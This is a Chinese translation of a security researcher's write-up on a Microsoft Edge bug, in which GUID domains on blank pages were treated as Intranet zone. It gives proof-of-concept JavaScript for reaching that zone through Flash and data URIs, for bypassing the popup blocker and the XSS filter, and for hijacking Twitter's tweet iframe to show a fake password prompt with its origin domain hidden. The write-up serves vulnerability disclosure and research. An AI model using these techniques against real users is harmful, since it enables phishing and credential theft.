原文地址:brokenbrowser
原作者:Manuel Caballero
译:Holic (知道创宇404安全实验室)

去年,我们探索了无域空页面技术,在 Microsoft EdgeInternet Explorer 上进行 UXSS/SOP 的绕过。Edge 版本最近已经修复,但是很不幸,这个补丁导致了一个新的安全问题,攻击者还有其他的利用方法。换而言之,一波未平一波又起。

最初的问题来自于无域的页面(URL about:blank 对应 document.domains 是空的),基本能够访问任何 document 源的 DOM,但是 Microsoft 通过向他们添加一个随机域(GUID)。也就是说,无域的 blank 已经不再是无域的了。它们总像是 {53394a4f-8c04-46ab-94af-3ab86ffcfd4c} 这种随机域。

在测试补丁的时候,我止步于在 GUID 域,所以我改变了关注点。初衷本是分析补丁,并试图绕过补丁,但是如此漂亮的 URL 出现在我面前的时候, 我想 Edge 在一定程度上继承了 IE 的域。

Intranet vs Internet

(内联网 vs 互联网)

你可能知道,在内联网(Intranet)区域中运行的页面会比在互联网(Internet)中受到的限制少得多。Edge 有着不同的机制,以区分何时从 Intranet 和 Internet 中加载页面,其中最值得注意的是 dotless URL

当网页从不带 “点” 的域名渲染时,比如 http://localhost ,因为前者被认为在 Intranet 域中,所以 Edge 与渲染 http://localhost.com 中同样的页面的时候以更少的限制渲染。

URL 中没有"点"?说明它是内联网。当然也存在例外,比如 about:blank,也被认为是互联网域,即使在 URL 中没有“点”。

欢迎来到内联网域

上面的截屏显示了至少三个有趣的功能,如果攻击者拥有内网权限,这会成为他的利用点。事实证明,没有“点”的 GUID 让 Edge 认为我们位于内联网域,可以绕过以上限制。那么,捉虫猎手,一旦我们进入内联网,一切都会轻而易举。我们搞起~

  1. 在顶部加载 data:url。我们当前 location 是 data: ,但是域与加载此 data:url 的相同(依然在 Internet 域)
  2. document.write 写入 data:url 自身。这使 data:uri 作为 URL,但它的域现在是随机的 GUID。我们现在位于内联网区域!

Edge 试图阻止我们在顶部加载 data:URI ,但是 Flash 在此是我们的朋友,它允许我们在顶部加载 data:URI。我们至少简单地使用 Flash 的 getURL。代码如下。在 iframe 中渲染 Flash,Flash 本身会通过 data:URI 更改窗口的 URL。

<iframe></iframe>  
<script>  
window[0].location.replace('geturl.swf?TARGET=_top&REDIR=data:,'+  
'<script>window.onload=function(){'+  
'           document.write("We are in a GUID URL (Intranet Zone) now");'+  
'           document.close();'+  
'}<\/script>');  
</script>  

此外,将 Flash 放在 iframe 中是很重要的,否则 Edge 会报错。无论如何,一旦上述情况发生,说明我们已位于内联网域。那么有意思的就来了。

利用内联网域

以下三个 PoC 都会先使用上述代码进入 Intranet 区域,然后运行下面的 payload。此外,payload 将从外部进行脚本加载,以便有效运行。我不喜欢在 data:URI 中编码成吨的字节。这会使我很迷糊!

我们绕过弹窗拦截器。请注意,一旦点击下方的链接,它将自动打开 5 个弹窗,无须交互。代码正常运行完全无视弹窗拦截器。

for (var i=0; i<5; i++)  
{
 window.open("http://www.bing.com","","width=200,height=600");
}

[ Live PoC – Open 5 PopUps ]

非常好,现在我们不需要用户交互即可无限制打开弹窗了。XSS 过滤器又如何呢?我先 XSS 一下自己的网站,caballero.com.ar。

window.open("https://www.caballero.com.ar/echo.php?xss=<script>alert(document.domain)<\/script>","_self");  

[ Live PoC – Bypass the XSS Filter ]

不错!请牢记,只有在内联网域运行时,这些 PoC 才会生效。实际上,称之为“绕过”是不正确的,因为这是内联网的默认行为。我们所做的是将域设置为限制较少的区域,然后就能自由发挥了。如此而已。但还有一点,超级导航(SuperNavigate)。你可知它的存在?它允许攻击者更改任何窗口/ iframe的URL,而无视其域。

可能表达上有些混乱。先举一个例子:它允许攻击者改变在另一个标签上运行 的 twitter-iframe 的 URL,该标签的行为可能在我们之前。换句话说,我们甚至不需要用 Twitter 打开标签。如果用户在任何地方都打开了 Twitter,我们实际上可以与它进行交互。哇!我们来更改 Twitter 渲染的,名为“twitter-iframe”的 iframe 的 URL。是否行之有效呢?

OK,我们先看一眼代码吧。

win  = window.open("https://www.twitter.com");

function wait_for_tweet_post_iframe()  
{
    // Wait until the twitter iframe exists
    if (win["tweet-post-iframe"])
    {   //Change the location of the twitter-iframe. This fires the prompt
        window.open("twitter_pass.html", "tweet-post-iframe");
        clearInterval(interval);
    }
}
// Keep running until the twitter-iframe becomes available
interval = setInterval(wait_for_tweet_post_iframe, 500);  

[Live PoC – SuperNavigate on Twitter]

有意思!最后还有一件事,捉虫猎手。也许你注意到 Twitter 的提示似乎来自一个 Twitter 域。你懂得,当提示处于打开状态时,它始终显示启动它的 URL 域,就像这样:

但是,有一个非常简单的技巧可以删除此信息,也就是从 about:blank iframe 中抛出提示。换言之,来自“干净的”域的提示。

<iframe></iframe>  
<script>  
window[0].prompt("No domain shown");  
</script>  

我知道这没什么大不了的,但是这个小把戏让我们的提示看起来像真的一样。注意小细节。

如果你想离线分析所有的内容,PoC 已经打包成 zip。

Have a nice day! 🙂

Manuel.